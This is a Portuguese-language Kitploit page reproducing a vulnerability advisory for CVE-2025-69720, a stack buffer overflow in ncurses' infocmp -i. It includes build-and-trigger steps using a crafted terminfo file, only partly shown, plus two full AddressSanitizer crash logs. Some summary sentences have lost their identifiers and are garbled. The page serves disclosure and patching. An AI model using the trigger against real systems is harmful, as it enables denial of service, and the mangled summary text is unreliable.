Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-69720 — Advisory para CVE-2025-69720: estouro de buffer baseado em pilha no GNU ncurses infocmp (CWE-121) | Kitploit
Ferramentas/GitHubGitHub/cao-wuhui/cve-2025-69720
Análise EstáticaAnálise de VulnerabilidadesExploraçãoFuzzingAnálise de BináriosAprendizado e Educação
GitHubcao-wuhui/cve-2025-69720

CVE-2025-69720

Advisory para CVE-2025-69720: estouro de buffer baseado em pilha no GNU ncurses infocmp (CWE-121)

Ver Repositório
242há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Site
Compartilhar

CVE-2025-69720: Estouro de Buffer de Pilha em ncurses infocmp -i (CWE-121)

Repórter: Yixuan Cao (Universidade de Shenzhen), [email protected]

Environment

  • Host: openEuler 22.03 LTS (Linux aarch64)
  • Toolchain: clang 12.0.1 do sistema + AddressSanitizer
  • Fonte: ncurses-6.4 e ncurses-6.5 (anterior ao patch 20251213)

Summary

infocmp -i invoca analyze_string() (progs/infocmp.c) para inspecionar sequências CSI encontradas em uma entrada terminfo. A rotina copia a substring candidata para um buffer de pilha de tamanho fixo (, 4096 bytes). Como não é verificado em relação a 4096, uma lista de parâmetros CSI maliciosamente longa (por exemplo, com ~800 parâmetros) estoura , causando um estouro de pilha. O mesmo PoC se reproduz no 6.4 e no 6.5 anterior ao patch 20251213 (veja as saídas ASan abaixo). Versões anteriores à 6.4 não foram testadas.

buf2
len = strlen(cp)
sgr=\E[1234567;…;m
buf2

As notícias do ncurses (2025/12/13) confirmaram e corrigiram o bug, e um patch oficial está disponível.

Impact

  • Executar infocmp -i em uma entrada terminfo criada pode travar a ferramenta (estouro de buffer de pilha), ou seja, uma negação de serviço local para essa invocação.
  • O estouro ocorre em progs/infocmp.c (analyze_string) quando len = strlen(cp) é usado para copiar para buf2[MAX_TERMINFO_LENGTH] (4096) sem verificar len, e é seguido por buf2[len] = '\0'.
  • A opção -i é um caminho de análise especializado para capacidades relacionadas a init/reset (is1/is2/is3/rs1/rs2/rs3/smcup/rmcup/smkx/rmkx); ela não afeta o uso comum de infocmp sem -i.
  • Corrigido em: ncurses 6.5 com patch 20251213 (ncurses-6.5-20251213.patch.gz).

Etapas para Reproduzir (tome ncurses-6.4 como exemplo)

  1. Prepare e compile o código fonte do ncurses-6.4 com ASan:
    root@kitploit:~
    # Download and extract the source code of ncurses-6.4
    # (assume it lives in ~/ncurses-6.4, i.e., /home/<user>/ncurses-6.4)
    cd ~
    wget https://invisible-mirror.net/archives/ncurses/ncurses-6.4.tar.gz
    tar xvf ncurses-6.4.tar.gz
    cd ncurses-6.4
    
    # Configure with ASan
    CC=clang \
    CFLAGS='-O1 -g -fsanitize=address' \
    LDFLAGS='-fsanitize=address' \
    ./configure --enable-widec   # keep wide-char support so the long SGR survives
    
    # Compile infocmp/tic/etc.
    make -j$(nproc)
    
  2. Compile a fonte terminfo do PoC (supondo que o arquivo esteja em ~/evil_sgr.ti) em um banco de dados temporário:
    root@kitploit:~
    ~/ncurses-6.4/progs/tic -x -o /tmp/evilti ~/evil_sgr.ti
    
  3. Dispare o estouro com infocmp habilitado com ASan:
    root@kitploit:~
    TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
    
    (Para 6.5, use os caminhos correspondentes ~/ncurses-6.5/progs/....)

Saída do ASan

Para ncurses-6.4:

root@kitploit:~
[yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
=================================================================
==3848299==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffcfa5e240 at pc 0x000000443344 bp 0xffffcfa5c9b0 sp 0xffffcfa5ca08
WRITE of size 6402 at 0xffffcfa5e240 thread T0
    #0 0x443340 in strncpy (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340)
    #1 0x4eee78 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:850:3
    #2 0x4ecebc in main /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:1881:6
    #3 0xffffab9d0ffc  (/usr/lib64/libc.so.6+0x2affc)
    #4 0xffffab9d10d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
    #5 0x42936c in _start (/home/yixuan/ncurses-6.4/progs/infocmp+0x42936c)

Address 0xffffcfa5e240 is located in stack of thread T0 at offset 4128 in frame
    #0 0x4eebe0 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:818

  This frame has 2 object(s):
    [32, 4128) 'buf2' (line 819)
    [4256, 8352) 'buf3' (line 834) <== Memory access at offset 4128 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340) in strncpy
Shadow bytes around the buggy address:
  0x200ff9f4bbf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ff9f4bc40: 00 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2
  0x200ff9f4bc50: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
  0x200ff9f4bc60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3848299==ABORTING

E para ncurses-6.5:

root@kitploit:~
[yixuan@Taishan200 ~]$  TERMINFO=/tmp/evilti ~/ncurses-6.5/progs/infocmp -i evil_sgr
=================================================================
==3863888==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfffff7af5380 at pc 0x000000443544 bp 0xfffff7af3af0 sp 0xfffff7af3b48
WRITE of size 6402 at 0xfffff7af5380 thread T0
    #0 0x443540 in strncpy (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540)
    #1 0x4ef094 in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:874:3
    #2 0x4ed0d8 in main /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:1913:6
    #3 0xffff811baffc  (/usr/lib64/libc.so.6+0x2affc)
    #4 0xffff811bb0d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
    #5 0x42956c in _start (/home/yixuan/ncurses-6.5/progs/infocmp+0x42956c)

Address 0xfffff7af5380 is located in stack of thread T0 at offset 4128 in frame
    #0 0x4eedfc in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:842

  This frame has 2 object(s):
    [32, 4128) 'buf2' (line 843)
    [4256, 8352) 'buf3' (line 858) <== Memory access at offset 4128 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540) in strncpy
Shadow bytes around the buggy address:
  0x200ffef5ea20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5ea30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5ea40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5ea50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5ea60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ffef5ea70:[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x200ffef5ea80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5ea90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5eaa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5eab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5eac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3863888==ABORTING
Baixar ferramenta